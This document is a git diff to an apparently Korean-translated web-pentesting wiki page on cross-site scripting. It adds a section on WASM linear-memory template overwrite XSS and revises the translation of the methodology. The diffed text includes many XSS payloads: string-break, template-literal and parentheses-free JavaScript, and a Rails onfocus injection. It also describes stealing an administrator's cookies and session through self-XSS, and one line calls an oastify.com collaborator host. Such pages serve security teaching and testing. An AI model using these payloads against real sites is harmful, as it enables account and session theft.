diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index ed69c217f..01a3798b0 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,63 +4,63 @@ ## 방법론 -1. 당신이 제어하는 어떤 값( _parameters_, _path_, _headers_?, _cookies_? )이 HTML에 **반영**되거나 **JS 코드에서 사용되는지** 확인한다. -2. **입력이 반영/사용되는 컨텍스트를 찾는다**. -3. 만약 **반영되어 있다면** -1. 어떤 **기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비한다: -1. **raw HTML** 내: -1. 새로운 HTML 태그를 생성할 수 있는가? -2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있는가? -3. 보호 장치를 우회할 수 있는가? -4. HTML 컨텐츠가 클라이언트 사이드 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되는가? 그렇다면 [**Client Side Template Injection**](../client-side-template-injection-csti.md)를 악용할 수 있다. -5. JS 코드를 실행하는 HTML 태그를 만들 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)를 악용할 수 있는가? +1. **당신이 제어하는 값**이 HTML에 **반영(reflected)**되거나 **JS 코드에서 사용**되는지 확인하세요. (_parameters_, _path_, _headers_?, _cookies_?) +2. 반영/사용되는 **컨텍스트를 찾으세요**. +3. 만약 **reflected**라면 +1. **어떤 문자를 사용할 수 있는지** 확인하고 그에 따라 페이로드를 준비하세요: +1. **raw HTML**에서: +1. 새로운 HTML 태그를 생성할 수 있나요? +2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있나요? +3. 보호 메커니즘을 우회할 수 있나요? +4. HTML 콘텐츠가 클라이언트 사이드 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석된다면, [**Client Side Template Injection**](../client-side-template-injection-csti.md)을 악용할 수 있습니다. +5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)를 악용할 수 있나요? 2. **HTML 태그 내부**: -1. raw HTML 컨텍스트로 빠져나갈 수 있는가? -2. JS 코드를 실행할 수 있는 새로운 이벤트/속성을 만들 수 있는가? -3. 당신이 갇혀 있는 속성이 JS 실행을 지원하는가? -4. 보호 장치를 우회할 수 있는가? -3. **JavaScript 코드** 내부: -1. ``** 태그 사이, `.js` 파일 내부 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에 반영됩니다: +In this case your input is reflected between **``** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: -- 만약 입력이 **``** 태그 사이에 반영된다면, 입력이 어떤 종류의 따옴표 안에 있더라도 ``을 주입해 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**한 다음 콘텐츠를 처리하기 때문에, 주입한 `` 태그가 HTML 코드 내부에 있다는 것을 인지하지 못하기 때문입니다. -- 만약 입력이 **JS 문자열 안에** 반영되고 이전 트릭이 작동하지 않는다면, 문자열을 **종료**하고, 코드를 **실행**하며, JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않습니다: +- 만약 입력이 **``** 태그 사이에 반영된다면, 입력이 어떤 종류의 따옴표 안에 있더라도 ``를 주입해 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**한 다음 내용을 파싱하기 때문에 동작하며, 따라서 브라우저는 당신이 주입한 `` 태그가 HTML 코드 내부에 있다는 것을 인식하지 못합니다. +- 만약 반영이 **JS 문자열 내부**에 일어나고 이전 트릭이 통하지 않는다면 문자열을 **탈출**하고, 당신의 코드를 **실행**한 뒤 JS 코드를 **재구성**해야 합니다(오류가 있으면 실행되지 않습니다: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- 템플릿 리터럴 안에 반영된다면 `${ ... }` 구문을 사용해 **JS 표현식 삽입**을 할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode 인코딩**은 **유효한 javascript 코드**를 작성하는 데 사용할 수 있습니다: +- 템플릿 리터럴 안에 반영된다면 `${ ... }` 구문을 사용해 **JS 표현식**을 임베드할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode**는 **유효한 javascript 코드**를 작성하는 데 유용합니다: ```javascript alert(1) alert(1) @@ -86,7 +86,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting references the opportunity to **사용된 이후에 함수, 변수 또는 클래스를 선언하여 XSS가 미선언된 변수나 함수를 사용하는 상황을 악용할 수 있습니다.**\ +Javascript Hoisting references the opportunity to **사용된 이후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 의미하며, 선언되지 않은 변수나 함수가 사용되는 XSS 시나리오를 악용할 수 있습니다.**\ **자세한 내용은 다음 페이지를 확인하세요:** @@ -96,13 +96,13 @@ js-hoisting.md ### Javascript Function -Several web pages have endpoints that **실행할 함수의 이름을 파라미터로 받는**. A common example to see in the wild is something like: `?callback=callbackFunc`. +Several web pages have endpoints that **실행할 함수의 이름을 매개변수로 받습니다**. A common example to see in the wild is something like: `?callback=callbackFunc`. -A good way to find out if something given directly by the user is trying to be executed is **파라미터 값을 수정하는 것** (for example to 'Vulnerable') and looking in the console for errors like: +A good way to find out if something given directly by the user is trying to be executed is **매개변수 값을 수정해 보는 것** (for example to 'Vulnerable') and looking in the console for errors like: ![](<../../images/image (711).png>) -In case it's vulnerable, you could be able to **alert를 트리거** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **내용을 검증** to only allow letters, numbers, dots and underscores (**`[\w\._]`**). +In case it's vulnerable, you could be able to **alert를 발생시킬 수 있습니다** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **내용을 검증**하여 문자, 숫자, 점, 밑줄만 허용하도록 합니다 (**`[\w\._]`**). However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **DOM의 어떤 요소든 접근할 수 있습니다**: @@ -118,9 +118,9 @@ parentElement ``` You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. -그러나 보통 지정된 함수를 실행하는 엔드포인트들은 흥미로운 DOM이 많지 않은 경우가 많습니다. **동일 출처의 다른 페이지**들은 더 많은 동작을 수행할 수 있는 **더 흥미로운 DOM**을 가지고 있을 수 있습니다. +However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions. -따라서, 다른 DOM에서 이 취약점을 악용하기 위해 Same Origin Method Execution (SOME) 익스플로잇이 개발되었습니다: +Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: {{#ref}} @@ -129,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -JS 코드가 공격자가 제어하는 일부 데이터를 안전하지 않게 사용하고 있는 경우가 있습니다(예: `location.href`). 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다. +공격자가 제어하는 일부 데이터(예: `location.href`)를 안전하지 않게 사용하는 **JS code**가 있습니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다. {{#ref}} @@ -138,8 +138,8 @@ dom-xss.md ### **Universal XSS** -이런 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 **임의의 JavaScript 실행**은 심지어 **RCE**를 얻거나 클라이언트 및 서버에서 **임의의 파일을 읽는** 등으로 악용될 수 있습니다.\ -몇 가지 **예시**: +이러한 유형의 XSS는 **anywhere**에서 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 측 취약점만이 아니라 **any** **context**에 의존합니다. 이러한 **arbitrary JavaScript execution**은 심지어 **RCE**를 획득하거나 클라이언트 및 서버의 임의 파일을 읽는 등으로 악용될 수 있습니다.\ +몇 가지 **examples**: {{#ref}} @@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF bypass encoding image +## WAF 우회 인코딩 이미지 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Injecting inside raw HTML -입력이 **HTML 페이지 내부에 반영되거나** 이 컨텍스트에서 이스케이프해 HTML 코드를 주입할 수 있는 경우, 가장 먼저 해야 할 일은 `<`를 사용해 새 태그를 만들 수 있는지 확인하는 것입니다: 해당 **문자**를 반사(reflect)해 보고 그것이 **HTML 인코딩**되는지, **삭제**되는지, 아니면 **변경 없이 반영되는지** 확인하세요. **마지막 경우에만 이 케이스를 악용할 수 있습니다.**\ -이 경우에는 [**Client Side Template Injection**](../client-side-template-injection-csti.md)를 **염두에 두십시오.**\ -_**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다**_ +입력이 **inside the HTML page**에 반영되거나 이 컨텍스트에서 HTML 코드를 이스케이프하여 주입할 수 있다면, 첫 번째로 해야 할 일은 `<`를 남용해 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 **char**를 **reflect** 해보고 그것이 **HTML encoded**되거나 **deleted**되었는지, 아니면 **reflected without changes**되는지 확인하세요. **오직 마지막 경우에만 이 취약점을 악용할 수 있습니다**.\ +이러한 경우에는 [**Client Side Template Injection**](../client-side-template-injection-csti.md)**도** **keep in mind**하세요.\ +_**참고: HTML 주석은 다음으로 닫을 수 있습니다\*\***\***\*`-->`\*\***\***\*또는 \*\***`--!>`\*\*_ -이 경우 및 black/whitelisting이 사용되지 않는 경우, 다음과 같은 페이로드를 사용할 수 있습니다: +In this case and if no black/whitelisting is used, you could use payloads like: ```html ` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 내부, 또는 `javascript:` 프로토콜을 허용하는 속성 안에 **반영(reflected)** 됩니다. +이 경우 **input**은 `.js` 파일의 **JS 코드 내부**나 `` 태그 사이, JS를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 허용하는 속성 안에 반영됩니다. -### \` 내부에 삽입된다면, `` 태그를 **닫아 탈출(escape)** 하는 것은 비교적 쉽습니다: +코드가 `` 내부에 삽입된다면, `` 종료 태그를 쉽게 **escape**할 수 있습니다: ```javascript ``` -이 예제에서는 **작은 따옴표를 닫지조차 않았습니다**. 이는 **HTML 파싱이 브라우저에 의해 먼저 수행되기 때문**으로, 여기에는 스크립트 블록을 포함한 페이지 요소 식별이 포함됩니다. 내장된 스크립트를 이해하고 실행하기 위한 JavaScript 파싱은 그 이후에야 수행됩니다. +Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward. -### JS 코드 내부 +### Inside JS code -`<>`가 정화되는 경우에도 입력이 **위치한** 곳에서 여전히 **문자열을 이스케이프**하여 **임의의 JS를 실행**할 수 있습니다. 오류가 있으면 JS 코드가 실행되지 않으므로 **JS 문법을 수정하는 것**이 중요합니다: +`<>`가 정화되고 있다면, 입력이 **위치한** 문자열을 여전히 **이스케이프**하여 **임의의 JS를 실행**할 수 있습니다. 오류가 있으면 JS 코드는 실행되지 않기 때문에 **JS 문법을 수정**하는 것이 중요합니다: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -497,25 +496,25 @@ onbeforetoggle="alert(2)" /> ``` #### JS-in-JS string break → inject → repair pattern -사용자 입력이 따옴표로 감싸인 JavaScript 문자열 내부에 들어갈 때(예: 서버 측에서 inline script로 echo하는 경우), 문자열을 종료시키고 코드를 주입한 뒤 구문을 유효하게 유지하도록 복구할 수 있습니다. 일반적인 골격: +사용자 입력이 quoted JavaScript string 안에 들어갈 때(예: server-side echo가 inline script로 출력되는 경우), 문자열을 종료하고, 코드를 inject한 다음 구문을 복구해 파싱을 유효하게 유지할 수 있습니다. Generic skeleton: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -취약한 파라미터가 JS string에 반영될 때의 예시 URL 패턴: +취약한 파라미터가 JS 문자열로 반영될 때의 예시 URL 패턴: ``` ?param=test";;a=" ``` -이는 HTML context를 건드리지 않고도 공격자 JS를 실행합니다 (pure JS-in-JS). 필터가 키워드를 차단할 경우 아래의 blacklist bypasses와 결합하세요. +이 기법은 HTML 컨텍스트를 건드릴 필요 없이 공격자 JS를 실행합니다 (순수 JS-in-JS). 필터가 키워드를 차단할 때 아래의 blacklist bypasses와 결합해 사용하세요. -### Template literals `` +### 템플릿 리터럴 `` -문자열을 구성할 때, 작은따옴표와 큰따옴표 외에도 JS는 **backticks** **` `` `** 를 허용합니다. 이것은 template literals라고 하며 `${ ... }` 문법을 사용해 **embedded JS expressions**를 포함할 수 있게 해줍니다.\ -따라서 입력값이 백틱을 사용하는 JS 문자열 안에 **reflected** 되어 있다면, `${ ... }` 문법을 악용해 **arbitrary JS code**를 실행할 수 있습니다: +단일 및 이중 따옴표 외에도 JS는 **strings**를 구성하기 위해 **backticks** **` `` `** 를 허용합니다. 이는 template literals로 알려져 있으며 `${ ... }` 구문을 사용해 **embedded JS expressions**를 허용합니다.\ +따라서 입력값이 backticks를 사용하는 JS 문자열 안에 **reflected** 되어 있다면, `${ ... }` 구문을 악용해 **arbitrary JS code**를 실행할 수 있습니다: -이는 다음과 같이 **abused** 할 수 있습니다: +다음과 같이 **abused** 할 수 있습니다: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -534,14 +533,14 @@ loop`` This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**JavaScript new lines (출처:** [**JavaScript new line**](#javascript-new-lines) **트릭)** +**JavaScript new lines (에서** [**JavaScript new line**](#javascript-new-lines) **트릭)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -637,7 +636,7 @@ console.log(log) //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` -**괄호 없는 JavaScript** +**괄호 없이 JavaScript** ```javascript // By setting location window.location='javascript:alert\x281\x29' @@ -778,45 +777,56 @@ top[8680439..toString(30)](1) ``` ## **DOM vulnerabilities** -**JS code**가 **공격자가 제어하는 데이터를 안전하지 않게 사용하는** 경우가 있다(예: `location.href`). 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있다.\ -**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** +공격자가 제어하는 데이터(예: `location.href`)를 **안전하지 않게 사용하는 JS code**가 있습니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.\ +**설명의 분량이 늘어나서** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -그곳에서 **DOM vulnerabilities가 무엇인지, 어떻게 유발되는지, 그리고 어떻게 익스플로잇하는지에 대한 자세한 설명**을 찾을 수 있다.\ -또한, **언급한 게시물의 끝부분에** [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering)에 대한 설명이 있다는 것을 잊지 마라. +그 페이지에는 **DOM vulnerabilities가 무엇인지, 어떻게 유발되는지, 그리고 어떻게 익스플로잇하는지에 대한 자세한 설명**이 있습니다.\ +또한, **언급한 글의 끝부분에** [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering)에 대한 설명이 있다는 것을 잊지 마세요. -### Upgrading Self-XSS +### Self-XSS 업그레이드 ### Cookie XSS -페이로드를 쿠키 안에 넣어 보내서 XSS를 트리거할 수 있다면, 이는 보통 self-XSS이다. 그러나, **vulnerable subdomain to XSS**를 찾으면, 이 XSS를 악용해 도메인 전체에 쿠키를 주입하고 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것들)에서 cookie XSS를 트리거할 수 있다. 이를 위해 cookie tossing attack을 사용할 수 있다: +만약 페이로드를 쿠키 안에 넣어 XSS를 트리거할 수 있다면, 이는 보통 self-XSS입니다. 하지만 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용해 도메인 전체에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것들)에서 cookie XSS를 발동시킬 수 있습니다. 이를 위해 cookie tossing attack을 사용할 수 있습니다: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +이 기술의 훌륭한 악용 사례는 [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html)에서 확인할 수 있습니다. ### Sending your session to the admin -사용자가 자신의 프로필을 관리자와 공유할 수 있고, self XSS가 해당 사용자의 프로필에 포함되어 있으며 관리자가 그 프로필에 접근하면, 관리자가 취약점을 트리거하게 된다. +사용자가 자신의 프로필을 admin과 공유할 수 있고, 그 프로필에 self XSS가 포함되어 있으며 admin이 접근하면 취약점이 트리거될 수 있습니다. ### Session Mirroring -self XSS를 발견했고 웹페이지가 **session mirroring for administrators**를 제공하는 경우(예: 클라이언트가 도움을 요청하면 관리자가 당신의 세션에서 보는 내용을 자신의 세션에서 볼 수 있게 하는 기능), 관리자가 당신을 도와주려 접근하면 당신의 취약점이 트리거될 수 있다. +self XSS를 발견했고 웹 페이지가 **관리자를 위한 session mirroring**을 제공한다면(예: 고객이 도움을 요청하면 admin이 고객의 세션을 자신의 세션에서 볼 수 있도록 하는 경우), admin은 당신이 보고 있는 내용을 자신의 세션으로 보게 됩니다. -당신은 **administrator trigger your self XSS**를 유도하여 그의 cookies/session을 탈취할 수 있다. +이렇게 해서 **administrator가 당신의 self XSS를 트리거하게** 만들고 그의 쿠키/세션을 훔칠 수 있습니다. ## Other Bypasses +### Bypassing sanitization via WASM linear-memory template overwrite + +Emscripten/WASM를 사용하는 웹 앱에서는 상수 문자열(예: HTML 형식 스텁)이 쓰기 가능한 linear memory에 저장됩니다. 단일 in‑WASM 오버플로우(예: 편집 경로에서의 unchecked memcpy)는 인접 구조를 손상시키고 이러한 상수로의 쓰기를 리다이렉트할 수 있습니다. 템플릿 "

%.*s

"을 ""로 덮어쓰면, 정화된 입력이 JavaScript 핸들러 값으로 바뀌어 렌더링 시 즉시 DOM XSS를 유발합니다. + +다음 전용 페이지에서 익스플로잇 워크플로우, DevTools memory helpers, 방어 기법을 확인하세요: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} + + ### Normalised Unicode -서버(또는 클라이언트 측)에서 **reflected values**가 **unicode normalized**되고 있는지 확인하고 이 기능을 악용해 보호를 우회할 수 있다. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). +서버(또는 클라이언트 측)에서 **reflected values**가 **unicode normalized**되는지 확인하고, 이 기능을 악용해 보호 장치를 우회할 수 있습니다. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript @@ -824,8 +834,8 @@ self XSS를 발견했고 웹페이지가 **session mirroring for administrators* ``` ### Ruby-On-Rails bypass -**RoR mass assignment** 때문에 HTML에 따옴표가 삽입되어 따옴표 제한을 우회하고 태그 내부에 추가 필드(onfocus)를 넣을 수 있습니다.\ -폼 예시 ([from this report](https://hackerone.com/reports/709336)), 페이로드를 전송하면: +**RoR mass assignment** 때문에 따옴표가 HTML에 삽입되고, 그 결과 따옴표 제한이 우회되어 태그 안에 추가 필드(onfocus)를 넣을 수 있습니다.\ +폼 예시 ([from this report](https://hackerone.com/reports/709336)), payload를 전송하면: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` @@ -833,9 +843,9 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -그런 다음 onfocus 속성이 삽입되어 XSS가 발생합니다. +그러면 onfocus 속성이 삽입되고 XSS가 발생합니다. -### Special combinations +### 특수 조합 ```html